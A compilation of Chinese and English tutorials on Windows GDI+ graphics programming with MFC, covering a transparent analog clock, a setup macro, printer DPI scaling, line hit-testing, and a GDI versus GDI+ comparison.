1、图片资源准备工作。首先在Photoshop中编辑好时钟的背景、时针、分针以及数字时钟显示方式的所有图片,如下图:将这些图片保存成为带透明通道的.png格式(GDI+调用显示时能够透明调背景)。这样程序中图片资源就准备好了。
2、下面开始做好在VC6.0下展开此项工作的基本准备工作。
(1)、下载gdiplus forVC6.0的SDK,(总共两兆多) (2)、在C盘建立文件夹"GDI+"将开发包拷贝在里面,亦即建立如下路径,以便例子代码顺利编译(当然你可以放到任意你喜欢的地方,只要在你的Project中正确包含路径即可!)。
C:\GDI+\Includes
C:\GDI+\Lib
C:\GDI+\gdiplus.dll
(3)在stdAfx.h中添加对GDI+环境的设置
#define UNICODE
#ifndef ULONG_PTR
#define ULONG_PTR unsigned long*
#endif
#include "c:\gdi+\includes\gdiplus.h" ////请修改为你的头文件路径
using namespace Gdiplus;
#pragma comment(lib, "c:\\gdi+\\lib\\gdiplus.lib") ////请修改为你的.lib文件路径
(4)在GDIPClock.cpp中编辑app的InitInstance()中添加如下代码进行GDI+的初始化工作
GdiplusStartupInput gdiplusStartupInput;
ULONG_PTR gdiplusToken;
GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);
......
//在对话框程序结束后
//关闭gdiplus的环境
GdiplusShutdown(gdiplusToken);
三、程序的实现全过程
1、建立一个基于对话框的Project,这里的名称为GDIPClock 2、在GDIPClockDlg.h中定义所有类成员变量,包括所有图片的指针和图片的长宽尺寸信息。
Image *m_pImageClock;
Image *m_pImageClock1;
Image *m_pImageHHour;
Image *m_pImageHMinu;
Image *m_pImageHSec;
Image *m_pImageNum;
int m_BakWidth , m_BakHeight ;
int m_HourWidth, m_HourHeight;
int m_MinuWidth , m_MinuHeight;
int m_SecWidth , m_SecHeight ;
HINSTANCE hFuncInst ;
Typedef BOOL (WINAPI*MYFUNC)(HWND,HDC,POINT*,SIZE*,HDC,POINT*,
COLORREF,BLENDFUNCTION*,DWORD);
MYFUNC UpdateLayeredWindow;
在这一步中需要特别说明的是,在创建透明窗口式需要调用一个Windows API函数UpdateLayeredWindow(),该函数在.net以上的版本的SDK中有申明,但是在VC6.0下要调用要么下载200多兆的高版本SDK,要么从动态链接库"User32.dll"中调用,这里选择从"User32.dll"中调用。以上定义中后三项就是为此作准备的。
3、在对话框的OnCreate()中添加如下代码:对2的函数和成员变量进行初始化!(其中ImageFromIDResource()函数为从资源中载入Png图像的一个方法!)
int CGDIPClockDlg::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
if (CDialog::OnCreate(lpCreateStruct) == -1)
return -1;
hFuncInst = LoadLibrary("User32.DLL");
BOOL bRet=FALSE;
if(hFuncInst)
UpdateLayeredWindow=(MYFUNC)GetProcAddress(hFuncInst, "UpdateLayeredWindow");
else
{
AfxMessageBox("User32.dll ERROR!");
exit(0);
}
//初始化gdiplus的环境
// Initialize GDI+.
m_Blend.BlendOp=0; //theonlyBlendOpdefinedinWindows2000
m_Blend.BlendFlags=0; //nothingelseisspecial...
m_Blend.AlphaFormat=1; //...
m_Blend.SourceConstantAlpha=255;//AC_SRC_ALPHA
// png图片添加到资源中了在"PNG"下:所以这里可以从资源中调用,
// 这里Image没有提供字节调用资源中图像的函数,
// ImageFromIDResource()是通过资源名称"PNG"和资源ID号将图像
// 的Image指针传递给指针应用。来完成的。
ImageFromIDResource(IDR_PNGBAK1,"PNG",m_pImageClock1);
ImageFromIDResource(IDR_PNGNUM,"PNG",m_pImageNum);
ImageFromIDResource(IDR_PNGBAK,"PNG",m_pImageClock);
ImageFromIDResource(IDR_PNGHOUR,"PNG",m_pImageHHour);
ImageFromIDResource(IDR_PNGMIN,"PNG",m_pImageHMinu);
ImageFromIDResource(IDR_PNGSEC,"PNG",m_pImageHSec);
m_BakWidth =m_pImageClock->GetWidth();
m_BakHeight =m_pImageClock->GetHeight();
m_HourWidth =m_pImageHHour->GetWidth();
m_HourHeight=m_pImageHHour->GetHeight();
m_MinuWidth =m_pImageHMinu->GetWidth();
m_MinuHeight=m_pImageHMinu->GetHeight();
m_SecWidth =m_pImageHSec->GetWidth();
m_SecHeight =m_pImageHSec->GetHeight();
::SetWindowPos(m_hWnd, HWND_TOPMOST,0,0,m_BakWidth,m_BakHeight,SWP_NOSIZE|SWP_NOMOVE);
return 0;
}
4.在OnInitDialog()种添加如下代码对调用透明窗体初始化和设置时钟进行刷新,代码意义有注解:
//启动后立刻更新窗口样式为透明窗体
UpdateClockDisplay();
SetTimer(1,500,NULL);
//去除任务栏窗口对应按钮
ModifyStyleEx (WS_EX_APPWINDOW,WS_EX_TOOLWINDOW );
void CGDIPClockDlg::OnTimer(UINT nIDEvent)
{
// TODO: Add your message handler code here and/or call default
UpdateClockDisplay();
CDialog::OnTimer(nIDEvent);
}
5、透明窗体创建于刷新,均调用以下函数完成,函数的参数表示整个窗体的透明度
在该函数中包括了GDI+中对Image.DrawImage()函数的集中重载方式的使用,还有在GDI+中图像变换矩阵的使用初步研究。
BOOL CGDIPClockDlg::UpdateClockDisplay(int Transparent)
{
HDC hdcTemp=GetDC()->m_hDC;
m_hdcMemory=CreateCompatibleDC(hdcTemp);
HBITMAP hBitMap=CreateCompatibleBitmap(hdcTemp,m_BakWidth,m_BakHeight);
SelectObject(m_hdcMemory,hBitMap);
if(Transparent<0||Transparent>100) Transparent=100;
m_Blend.SourceConstantAlpha=int(Transparent*2.55);
HDC hdcScreen=::GetDC (m_hWnd);
RECT rct;
GetWindowRect(&rct);
POINT ptWinPos={rct.left,rct.top};
Graphics graph(m_hdcMemory);
Point points[] = { Point(0, 0),
Point(m_BakWidth, 0),
Point(0, m_BakHeight)
};
static bool bFly=false;
bFly?graph.DrawImage(m_pImageClock, points, 3): graph.DrawImage(m_pImageClock1, points, 3);
bFly=!bFly;
int OxyX=140;//m_BakWidth/2+8;
int OxyY=90;//m_BakHeight/2+10;
SYSTEMTIME SystemTime; // address of system time structure
GetLocalTime(&SystemTime);
// 定义一个单位矩阵,坐标原点在表盘中央
Matrix matrixH(1,0,0,1,OxyX,OxyY);
// 时针旋转的角度度
matrixH.Rotate(SystemTime.wHour*30+SystemTime.wMinute/2.0-180);
Point pointsH[] = { Point(0, 0),Point(m_HourWidth, 0),Point(0, m_HourHeight)};
matrixH.Translate(-m_HourWidth/2,-m_HourHeight/6);
// 用该矩阵转换points
matrixH.TransformPoints( pointsH, 3);
graph.DrawImage (m_pImageHHour,pointsH, 3);
// 定义一个单位矩阵,坐标原点在表盘中央
Matrix matrixM(1,0,0,1,OxyX,OxyY);
// 分针旋转的角度度
matrixM.Rotate(SystemTime.wMinute*6-180);
Point pointsM[] = { Point(0, 0),Point(m_MinuWidth, 0),Point(0, m_MinuHeight)};
matrixM.Translate(-m_MinuWidth/2,-m_MinuHeight/6);
// 用该矩阵转换pointsM
matrixM.TransformPoints( pointsM, 3);
graph.DrawImage (m_pImageHMinu,pointsM, 3);
// 定义一个单位矩阵,坐标原点在表盘中央
Matrix matrix(1,0,0,1,OxyX,OxyY);
// 秒针旋转的角度度
matrix.Rotate(SystemTime.wSecond*6-180);
Point pointsS[] = { Point(0, 0),Point( m_SecWidth,0),Point(0,m_SecHeight )};
matrix.Translate(-m_SecWidth/2,-m_SecHeight/7);
// 用该矩阵转换pointsS
matrix.TransformPoints( pointsS, 3);
graph.DrawImage (m_pImageHSec,pointsS, 3);
//HH:MM:SS
//该函数从m_pImageClock中剪切指定rect中的像素draw到指定位置
graph.DrawImage(m_pImageNum,0, 0, 14*(SystemTime.wHour/10), 0,14,23,UnitPixel);
//该函数从m_pImageClock中剪切指定rect中的像素draw到指定位置
graph.DrawImage(m_pImageNum,20,0, 14*(SystemTime.wHour%10), 0,14,23,UnitPixel);
//该函数从m_pImageClock中剪切指定rect中的像素draw到指定位置
graph.DrawImage(m_pImageNum,20*2,0, 140, 0,14,23,UnitPixel);
//该函数从m_pImageClock中剪切指定rect中的像素draw到指定位置
graph.DrawImage(m_pImageNum,20*3, 0, 14*(SystemTime.wMinute/10), 0,14,23,UnitPixel);
//该函数从m_pImageClock中剪切指定rect中的像素draw到指定位置
graph.DrawImage(m_pImageNum,20*4,0, 14*(SystemTime.wMinute%10), 0,14,23,UnitPixel);
//该函数从m_pImageClock中剪切指定rect中的像素draw到指定位置
graph.DrawImage(m_pImageNum,20*5,0, 140, 0,14,23,UnitPixel);
//该函数从m_pImageClock中剪切指定rect中的像素draw到指定位置
graph.DrawImage(m_pImageNum,20*6, 0, 14*(SystemTime.wSecond/10), 0,14,23,UnitPixel);
//该函数从m_pImageClock中剪切指定rect中的像素draw到指定位置
graph.DrawImage(m_pImageNum,20*7,0, 14*(SystemTime.wSecond%10), 0,14,23,UnitPixel);
SIZE sizeWindow={m_BakWidth,m_BakHeight};
POINT ptSrc={0,0};
DWORD dwExStyle=GetWindowLong(m_hWnd,GWL_EXSTYLE);
if((dwExStyle&0x80000)!=0x80000)
SetWindowLong(m_hWnd,GWL_EXSTYLE,dwExStyle^0x80000);
BOOL bRet=FALSE;
bRet= UpdateLayeredWindow( m_hWnd,hdcScreen,&ptWinPos,
&sizeWindow,m_hdcMemory,&ptSrc,0,&m_Blend,2);
graph.ReleaseHDC(m_hdcMemory);
::ReleaseDC(m_hWnd,hdcScreen);
hdcScreen=NULL;
::ReleaseDC(m_hWnd,hdcTemp);
hdcTemp=NULL;
DeleteObject(hBitMap);
DeleteDC(m_hdcMemory);
m_hdcMemory=NULL;
return bRet;
}
BOOL CGDIPClockDlg::ImageFromIDResource(UINT nID, LPCTSTR sTR,Image * &pImg)
{
HINSTANCE hInst = AfxGetResourceHandle();
HRSRC hRsrc = ::FindResource (hInst,MAKEINTRESOURCE(nID),sTR); // type
if (!hRsrc)
return FALSE;
// load resource into memory
DWORD len = SizeofResource(hInst, hRsrc);
BYTE* lpRsrc = (BYTE*)LoadResource(hInst, hRsrc);
if (!lpRsrc)
return FALSE;
// Allocate global memory on which to create stream
HGLOBAL m_hMem = GlobalAlloc(GMEM_FIXED, len);
BYTE* pmem = (BYTE*)GlobalLock(m_hMem);
memcpy(pmem,lpRsrc,len);
IStream* pstm;
CreateStreamOnHGlobal(m_hMem,FALSE,&pstm);
// load from stream
pImg=Gdiplus::Image::FromStream(pstm);
// free/release stuff
GlobalUnlock(m_hMem);
pstm->Release();
FreeResource(lpRsrc);
}
void CGDIPClockDlg::OnLButtonDown(UINT nFlags, CPoint point)
{
//禁止显示移动矩形窗体框
::SystemParametersInfo(SPI_SETDRAGFULLWINDOWS,TRUE,NULL,0);
//非标题栏移动整个窗口
SendMessage(WM_SYSCOMMAND,0xF012,0);
// PostMessage(WM_NCLBUTTONDOWN,HTCAPTION,MAKELPARAM(point.x,point.y));
CDialog::OnLButtonDown(nFlags, point);
}
详细实现过程请参考源代码!
四、结束语
编写该程序的主要动力来自于对GDI+图像、图形功能的好奇,网上好多例子和文章都是关于C#或delphi等语言的。本人一直以来习惯于使用VC6.0。希望通过此文能增进与大家交流。
Introduction
I have started to use GDI+ with MFC in VC++ 6.0 and got tired of always having to remember to add the GDI+ startup code and header and library files to my project. So I decided to write a simple VS macro that would do all this for me.
What's added?
In stdafx.h file the following lines are added:
// GdiPlus -- Added by the GdiPlus macro
#include <gdiplus.h>
using namespace Gdiplus;
#pragma comment (lib, "Gdiplus.lib")
In the <AppName>.h header file the following lines are added:
// GdiPlus -- Added by the GdiPlus macro
protected :
ULONG_PTR m_gdiplustoken;
And if the application's ExitInstance() function is not already declared, a declaration is also added in the virtual functions section.
// GdiPlus -- Added by the GdiPlus macro
public :
virtual int ExitInstance();
In the <AppName>.cpp source file, the following lines are added to the InitInstance() function.
// GdiPlus -- Added by the GdiPlus macro
GdiplusStartupInput gdiplusstartupinput;
GdiplusStartup (&m_gdiplusToken, &gdiplusstartupinput, NULL);
And, in the ExitInstance() function, which is added if it is not already present, the following lines are added:
// GdiPlus -- Added by the GdiPlus macro
GdiplusShutdown(m_gdiplusToken);
How to install
Simply save the GdiPlus.dsm file in your <Visual Studio>/Common/MSDev98/Macros/ folder. Then, in Dev Studio, select the Tools menu, Macro dialog. On the Macro dialog click the
Options button to show an extra four buttons. Click the Loaded Files button to bring up another dialog. Scroll down the list of macro files until you find GdiPlus . Select the check box for GdiPlus and Bob's your uncle.
That's it! I hope someone finds this useful because I sure do!
Updates
April 21, 2003 - Minor bug fix. Thanks to Larry Desonier
Introduction
This articles gives some hints on printing figure made with GDI+. As anybody knows, printing is one of the most mysterious feature in MFC (this is my point of view). It is not well (at all) documented and in fact, the best examples can be found in CodeProject Printing section.
Since GDI+ is a new technology, it brings new problems when trying to print.
In the following, I will try to give some hints encountered when trying to print GDI+ stuff. I will suppose that you have some basic knowledge about printing, especially that you have read one of the following articles, so I won't have to discuss about getting a printer DC working and other details already in those article but rather focus on GDI+ problem related:
In the following, dc denotes the printer dc and graphics denotes the GDI+ graphic context:
CDC dc;
Graphics graphics;
Setting the mapping modes
The mapping modes of dc and graphics must be tuned together:
dc.SetMapMode(MM_TEXT);
graphics.SetPageUnit(UnitDocument);
With those setting, each logical unit is converted to 1 device unit (MM_TEXT) and one device unit is 1/300 inch (UnitDocument). So we get 300dpi printing, great.
What about other DPIs?
Gulp, we got it working for 300dpi, but what about 600 dpi? or 1200 ?
After a few try and error, I figured out we had to do the dirty job ourselves, that is check for the dpi of printer and scale accordingly the graphic:
Get the dpi ratio dpiRatio: CPrintDialog MyPrintDialog;
...
// the dpi of printer is enclosed in DEVMODE structure,
DEVMODE* pDev=MyPrintDialog.GetDevMode();
// getting dpi ratio between 300dpi and current printer dpi
double dpiRatio=300.0 /pDev->dmPrintQuality;
// deallocating memory for pDev
VERIFY(GlobalUnlock(pDev));
Setting page scale in to graphics graphics.SetPageScale(dpiRatio);
That ugly hack should do the work. Of course, any nicer method is welcome :-)
What about text?
Getting font size
Unfortunately, scaling the graphic is not sufficient and Dpi scaling has to be taken in account when computing the font size!
Here's a modification of the CreateFontSize of Barnhart article. As you see, the user has to pass the dpiRatio to scale the font accordingly:
int CreateFontSize(HDC hDC,
int points, double dpiRatio)
{
// This will calculate the font size for the printer that is specified
// by a point size.
//
// if points is:
// (-) negative uses height as value for Net Font Height (ie. point size)
// (+) positive height is Total Height plus Leading Height!
ASSERT(hDC);
POINT size;
int logPixelsY=::GetDeviceCaps(hDC, LOGPIXELSY);
size.x = size.y = MulDiv(points, logPixelsY, 72 );
// here we scale the font...
return (float )floor(size.y*dpiRatio);
}
Create font for printing When creating a font, use the following unit:
Unit fontUnit = m_pGraphics->GetPageUnit();
// if fontUnit is UnitDisplay, then specify UnitPixel,
// otherwise you'll get a "InvalidParameter" from GDI+
if (fontUnit == UnitDisplay)
fontUnit = UnitPixel;
// classical constructor use, lfHeight is the font height
Font font(&fontFamily, CreateFontSize(hDC,
lfHeight, dpiRatio), FontStyleRegular, fontUnit);
Credits A lot of useful article available on the Printing section:
Update History
11/09/2002
Fixed problem of text changing size when playing with the zoom in preview mode. Updated the demo project.
About Jonathan de Halleux
Jonathan de Halleux is Civil Engineer in Applied Mathematics. He finished his PhD in 2004 in the rainy country of Belgium. He is now employed at Microsoft in the CLR team (testing the JIT).
Click here to view Jonathan de Halleux's online profile.
Introduction
This HitTester demo application was written just to illustrate the basic drawing application framework using GDI/GDI+. It also features the useful curve/line hit test technique together with the implementation of
CObject class and CObArray collection class which can be extended for serialization in future. I also added extra features for storing the drawing into *.png file format.
Background
Hit test is very important for developing good drawing kind of applications to determine whether the object is currently selected or not. There are various methods that can be used to perform curve or line hit test. For diagonal (straight) line, performing hit test can be done by comparing the two slopes of the object line and the test line. Test line is a line that is virtually constructed starting from the first point of the line shape to the test point. If both slopes match, the object line is hit.
For the case of curved-line, it is a bit difficult to perform hit test. Normally, flatten technique will be used to convert the curved line to a series of connected straight lines before performing slope comparison for each line segment. Phew! Thanks to GDI+ for the
GraphicsPath class and its IsOutlineVisible() member function, this hit test task can be done very easily.
You can refer to this article from MSDN regarding hit test using Win32 . And this one as well for
creating cables and connectors ...
Using the code
Below are the steps for implementing the object class and GDI+ initialization.
Step 1:
Add the lines below to StdAfx.h file:
#include <gdiplus.h>
#include <Gdiplusinit.h>
using namespace Gdiplus;
#pragma comment(lib, "gdiplus.lib")
Step 2:
Add the lines below to HitTester.h file:
GdiplusStartupInput m_gdiplusStartupInput;
ULONG_PTR m_gdiplusToken;
Step 3:
Add the line below to HitTester.cpp file, under the CHitTesterApp::InitInstance() function, before the return statement:
GdiplusStartup(&m_gdiplusToken, &m_gdiplusStartupInput, NULL);
Step 4:
Add the line below to HitTester.cpp file, under the CHitTesterApp::Exitnstance() function:
GdiplusShutdown(m_gdiplusToken);
Step 5:
Add the line below to HitTesterView.h file:
#include "HCNObject.h"
Step 6:
Add the lines below to HitTesterView.cpp :
Collapse void CHitTesterView::OnLButtonDown(UINT nFlags, CPoint point)
{
// TODO: Add your message handler code here and/or call default
CRect rect;
GetClientRect(rect);
if (rect.PtInRect(point))
{
if (m_bSelectMode)
{
// Create DC
CDC* pDC = this ->GetDC();
VERIFY(pDC != NULL);
if (pDC != NULL)
{
// Set ROP2 mode
int nR2 = pDC->SetROP2(R2_NOTXORPEN);
// Create pen
CPen* newPen = new CPen(PS_SOLID|PS_GEOMETRIC, 1 , RGB(255 ,0 ,
255 ));
CPen* pOldPen = pDC->SelectObject(newPen);
// Run Hit Test
for (int i=0 ; i<m_obArray->GetSize(); i++)
{
// Get base object
CHCN_Object* pBase = m_obArray->GetObjectBaseClass(i);
if (pBase->GetObjectType() == pBase->HCN_Line)
{
CHCN_ObjectLine* pLine = (CHCN_ObjectLine*)pBase;
// Segment Selection mode
if (m_bSelectSegment)
{
if (pLine->IsSegmentHit(point))
{
if (pLine->m_bSelected)
{
pLine->m_bSelected = FALSE;
pLine->m_bShowNode = FALSE;
}
else
{
pLine->m_bSelected = TRUE;
pLine->m_bShowNode = TRUE;
}
}
}
// Node Selection mode
if (m_bSelectNode)
{
if (pLine->IsNodeHit(point))
{
if (pLine->m_bSelected)
{
pLine->m_bSelected = FALSE;
pLine->m_bShowNode = FALSE;
}
else
{
pLine->m_bSelected = TRUE;
pLine->m_bShowNode = TRUE;
}
}
}
}
// Redraw
Invalidate();
}
// Restore ROP2 mode
VERIFY(nR2 >= 0 );
pDC->SetROP2(nR2);
pDC->SelectObject(pOldPen);
// Clean-up
pDC->Detach();
pDC = NULL;
}
}
if (m_bDrawMode)
{
::SetCursor(AfxGetApp()->LoadStandardCursor(IDC_CROSS));
if (m_bDrawLine || m_bDrawCurve)
{
if (!m_bDrawBegin)
{
// Begin drawing
m_bDrawBegin = TRUE;
// Create new point array
m_ptArray = new CHCN_ObjectArray();
}
// Add this point
AddPointToArray(point);
}
}
}
CView::OnLButtonDown(nFlags, point);
}
Collapse void CHitTesterView::OnMouseMove(UINT nFlags, CPoint point)
{
// TODO: Add your message handler code here and/or call default
CRect rect;
GetClientRect(rect);
if ( rect.PtInRect(point))
{
::SetCursor(AfxGetApp()->LoadStandardCursor(IDC_ARROW));
if (m_bDrawMode)
{
::SetCursor(AfxGetApp()->LoadStandardCursor(IDC_CROSS));
if (m_bDrawBegin && (nFlags != MK_LBUTTON))
{
// Obtain DC
CDC* pDC = this ->GetDC();
// Verify it
VERIFY(pDC != NULL);
if (pDC != NULL)
{
// Set ROP2 mode
int nR2 = pDC->SetROP2(R2_NOTXORPEN);
if (m_bDrawLine || m_bDrawCurve)
{
// Convert to logical point
pDC->DPtoLP(&m_pt1);
pDC->DPtoLP(&m_pt2);
// Erase previous line
pDC->MoveTo(m_pt1);
pDC->LineTo(m_pt2);
// Set point #2 to current mouse point
m_pt2 = point;
pDC->DPtoLP(&m_pt2);
// Draw new line
pDC->MoveTo(m_pt1);
pDC->LineTo(m_pt2);
}
// Restore ROP2 mode
VERIFY(nR2 >= 0 );
pDC->SetROP2(nR2);
// Clean-up
pDC->Detach();
pDC = NULL;
}
}
}
}
else
{
::SetCursor(AfxGetApp()->LoadStandardCursor(IDC_ARROW));
}
CView::OnMouseMove(nFlags, point);
}
Collapse void CHitTesterView::OnDraw(CDC* pDC)
{
CHitTesterDoc* pDoc = GetDocument();
ASSERT_VALID(pDoc);
if (!pDoc)
return ;
// TODO: add draw code for native data here
if (m_obArray->GetSize() > 0 )
{
CRect rect;
GetClientRect(rect);
Bitmap bmp(rect.Width(),rect.Height());
Graphics* graph = Graphics::FromImage(&bmp);
for (int i=0 ; i<m_obArray->GetSize(); i++)
{
// Get base object
CHCN_Object* pBase =
reinterpret_cast <CHCN_Object*>(m_obArray->GetAt(i));
if (pBase->GetObjectType() == pBase->HCN_Line)
{
CHCN_ObjectLine* pLine = (CHCN_ObjectLine*)m_obArray->GetAt(i);
// Draw object to bitmap graphics
pLine->DrawObject(*graph);
}
}
Rect rc(rect.left,rect.top,rect.Width(),rect.Height());
// Clone the bitmap
m_Bitmap = bmp.Clone(rc, PixelFormatDontCare);
// Draw the bitmap graphics
Graphics graphics(pDC->m_hDC);
graphics.DrawImage(m_Bitmap, rc);
}
}void CHitTesterView::OnFileSave()
{
// TODO: Add your command handler code here
// Save the drawing.
const char szFilter[] = "Image Files (*.png)|*.png|All Files (*.*)|*.*||" ;
const char szExt[] = "png" ;
CFileDialog* dlg = new CFileDialog(FALSE, szExt, NULL,
OFN_CREATEPROMPT|OFN_OVERWRITEPROMPT, szFilter, this );
if (dlg->DoModal() == IDOK)
{
CLSID pngClsid;
GetEncoderClsid(L"image/png" , &pngClsid);
m_Bitmap->Save(dlg->GetPathName().AllocSysString(), &pngClsid, NULL);
}
}int CHitTesterView::GetEncoderClsid(const WCHAR* format, CLSID* pClsid)
{
UINT num = 0 ; // number of image encoders
UINT size = 0 ; // size of the image encoder array in bytes
ImageCodecInfo* pImageCodecInfo = NULL;
GetImageEncodersSize(&num, &size);
if (size == 0 )
return -1 ; // Failure
pImageCodecInfo = (ImageCodecInfo*)(malloc(size));
if (pImageCodecInfo == NULL)
return -1 ; // Failure
GetImageEncoders(num, size, pImageCodecInfo);
for (UINT j = 0 ; j < num; ++j)
{
if ( wcscmp(pImageCodecInfo[j].MimeType, format) == 0 )
{
*pClsid = pImageCodecInfo[j].Clsid;
free(pImageCodecInfo);
return j; // Success
}
}
free(pImageCodecInfo);
return -1 ; // Failure
}
About Husni Che Ngah
Born somewhere in East Coast of Peninsular Malaysia on January 7th, 1971. Owned a Bac. Degree in Electrical/Electronics Engineering and a Diploma Electromechanical Engineering. - Major in Industrial Automation and Robotics.
Experienced in wide range working environments, hardisk manufacturing company (6 years), petroleum industry (1 year), university/government (1 year), and freelance developement (5 years). Fall in love with VC++/MFC since year 1996... and start getting serius since 2000 till now!
Click here to view Husni Che Ngah's online profile.
作者:
李昊
下载源代码
一、GDI GDI是位于应用程序与不同硬件之间的中间层,这种结构让程序员从直接处理不同硬件的工作中解放出来,把硬件间的差异交给了GDI处理。GDI通过将应用程序与不同输出设备特性相隔离,使Windows应用程序能够毫无障碍地在Windows支持的任何图形输出设备上运行。例如,我们可以在不改变程序的前提下,让能在Epson点式打印机上工作的程序也能在激光打印机上工作。它把windows系统中的图形输出转换成硬件命令然后发送给硬件设备。 GDI是以文件的形式存储在系统中,系统需要输出图形时把它载入内存,如果转换成硬件命令时遇到非GDI命令,系统还可能载入硬件驱动程序,驱动程序辅助 GDI把图形命令转换成硬件命令。
二、设备环境 Windows系统是用来给应用程序提供设备独立性的工具,它是windows系统为了处理输出设备而使用的一种内部数据结构,设备环境是 windos程序,驱动程序,和输出设备(如打印机,绘图仪)之间的纽带,GDI是一组C++类,它在驱动程序的协助下把数据描绘在硬件上,它位于应用程序与硬件之间,把数据从一方传到另一方。在Visual Studio .NET中Microsoft解决了GDI中的许多问题,并让它变得易用,
GDI的.net版本叫做GDI+。 三、GDI+ GDI+是GDI的下一个版本,它进行了很好的改进,并且易用性更好。GDI的一个好处就是你不必知道任何关于数据怎样在设备上渲染的细节,GDI+ 更好的实现了这个优点,也就是说,GDI是一个中低层API,你还可能要知道设备,而GDI+是一个高层的API,你不必知道设备。例如你如果要设置某个控件的前景和背景色,只需设置BackColor和ForeColor属性。
四、编程模式的变化 "GDI uses a stateful model, whereas GDI+ uses a stateless"——GDI是有状态的,GDI+是无无状态的。1、不再使用设备环境或句柄 在使用GDI绘图时,必须要指定一个设备环境(DC),用来将某个窗口或设备与设备环境类的句柄指针关联起来,所有的绘图操作都与该句柄有关。而 GDI+不再使用这个设备环境或句柄,取而代之是使用Graphics对象。与设备环境相类似,Graphics对象也是将屏幕的某一个窗口与之相关联,并包含绘图操作所需要的相关属性。但是,只有这个Graphics对象与设备环境句柄还存在着联系,其余的如Pen、Brush、Image和Font等对象均不再使用设备环境。
2、Pen、Brush,Font,Image等对象是图形对象独立的 画笔对象能与用于提供绘制方法的图形对象分开创建于维护,Graphics绘图方法直接将Pen对象作为自己的参数,从而避免了在GDI使用SelectObject进行繁琐的切换,类似的还有Brush、Path、Image和Font等。 3、"当前位置" GDI 绘图操作(如画线)中总存在一个被称为"当前位置"的特殊位置。每次画线都是以此当前位置为起始点,画线操作结束之后,直线的结束点位置又成为了当前位置。设置当前位置的理由是为了提高画线操作的效率,因为在一些场合下,总是一条直线连着另一条直线,首尾相接。有了当前位置的自动更新,就可避免每次画线时都要给出两点的坐标。尽管有其必要性,但是单独绘制一条直线的场合总是比较多的,因此GDI+取消这个"当前位置"以避免当无法确定"当前位置"时所造成的绘图的差错,取而代之的是直接在DrawLine中指定直线起止点的坐标。
4、绘制和填充 GDI总是让形状轮廓绘制和填充使用同一个绘图函数,例如Rectangle。轮廓绘制需要一个画笔,而填充一个区域需要一个画刷。也就是说,不管我们是否需要填充所绘制的形状,我们都需要指定一个画刷,否则GDI采用默认的画刷进行填充。这种方式确实给我们带来了许多不便,现在GDI+将形状轮廓绘制和填充操作分开而采用不同的方法,例如DrawRectangle和FillRectangle分别用来绘制和填充一个矩形。
5、区域的操作 GDI提供了许多区域创建函数,如:CreateRectRgn、CreateEllpticRgn、CreateRoundRectRgn、 CreatePolygonRgn和CreatePolyPolygonRgn等。诚然,这些函数给我们带来了许多方便。但在GDI+中,由于为了便于将区域引入矩阵变换操作,GDI+简化一般区域创建的方法,而将更复杂的区域创建交由Path接管。由于Path对象是与设备环境分离开来的,因而可以直接在Region构造函数中加以指定。
五、GDI+新特色 GDI+与GDI相比,增加了下列新的特性:1、渐变画刷 以往GDI实现颜色渐变区域的方法是通过使用不同颜色的线条来填充一个裁剪区域而达到的。现在GDI+拓展了GDI功能,提供线型渐变和路径渐变画刷来填充一个图形、路径和区域,甚至也可用来绘制直线、曲线等。这里的路径可以视为由各种绘图函数产生的轨迹。 2、样条曲线
对于曲线而言,最具实际意义的莫过于样条曲线。样条曲线是在生产实践的基础上产生和发展起来的。模线间的设计人员在绘制模线时,先按给定的数据将型值点准确地"点"到图板上。然后,采用一种称为"样条"的工具(一根富有弹性的有机玻璃条或木条),用压铁强迫它通过这些型值点,再适当调整这些压铁,让样条的形态发生变化,直至取得合适的形状,才沿着样条画出所需的曲线。如果我们把样条看成弹性细梁,那么压铁就可看成作用在这梁上的某些点上的集中力。GDI+的 Graphics:: DrawCurve函数中就有一个这样的参数用来调整集中力的大小。除了样条曲线外,GDI+还支持原来GDI中的Bezier曲线。
3、独立的路径对象 在GDI中,路径是隶属于一个设备环境(上下文),也就是说一旦设备环境指针超过它的有效期,路径也会被删除。而GDI+是使用Graphics对象来进行绘图操作,并将路径操作从Graphics对象分离出来,提供一个GraphicsPath类供用户使用。这就是说,我们不必担心路径对象会受到 Graphics对象操作的影响,从而可以使用同一个路径对象进行多次的路径绘制操作。
4、矩阵和矩阵变换 在图形处理过程中常需要对其几何信息进行变换以便产生复杂的新图形,矩阵是这种图形几何变换最常用的方法。为了满足人们对图形变换的需求,GDI+提供了功能强大的Matrix类来实现矩阵的旋转、错切、平移、比例等变换操作,并且GDI+还支持Graphics图形和区域(Region)的矩阵变换。5、Alpha通道合成运算 在图像处理中,Alpha用来衡量一个像素或图像的透明度。在非压缩的32位RGB图像中,每个像素是由四个部分组成:一个Alpha通道和三个颜色分量(R、G和B)。当Alpha值为0时,该像素是完全透明的,而当Alpha值为255时,则该像素是完全不透明。
Alpha混色是将源像素和背景像素的颜色进行混合,最终显示的颜色取决于其RGB颜色分量和Alpha值。它们之间的关系可用下列公式来表示 显示颜色 = 源像素颜色 X alpha / 255 + 背景颜色 X (255 - alpha) / 255 GDI+的Color类定义了ARGB颜色数据类型,从而可以通过调整Alpha值来改变线条、图像等与背景色混合后的实际效果。6、多图片格式的支持
GDI+提供了对各种图片的打开,存储功能。通过GDI+,我们能够直接将一幅BMP文件存储成JPG或其它格式的图片文件。 除了上述新特性外,GDI+还将支持重新着色、色彩修正、消除走样、元数据以及Graphics容器等特性。 六、VC.net中使用GDI+的方法 在Visual C++.NET使用GDI+一般遵循下列步骤: (1)、在应用程序中添加GDI+的
包含文件gdiplus.h以及附加的类库gdiplus.lib。通常gdiplus.h包含文件添加在应用程序的 stdafx.h文件中,而gdiplus.lib可用两种进行添加:第一种是直接在stdafx.h文件中添加下列语句:
#pragma comment( lib, "gdiplus.lib" )
另一种方法是:选择"项目->属性"菜单命令,在弹出的对话框中选中左侧的"链接器->输入"选项,在右侧的"附加依赖项"框中键入gdiplus.lib, (2)、在应用程序项目的应用类中,添加一个成员变量,如下列代码:
ULONG_PTR m_gdiplusToken;
其中,ULONG_PTR是一个DWORD数据类型,该成员变量用来保存GDI+被初始化后在应用程序中的GDI+标识,以便能在应用程序退出后,引用该标识来调用Gdiplus:: GdiplusShutdown来关闭GDI+。 (3)、在应用类中添加ExitInstance的重载,并添加下列代码用来关闭GDI+:
int CGDIPlusApp::ExitInstance() { Gdiplus::GdiplusShutdown(m_gdiplusToken); return CWinApp::ExitInstance(); }
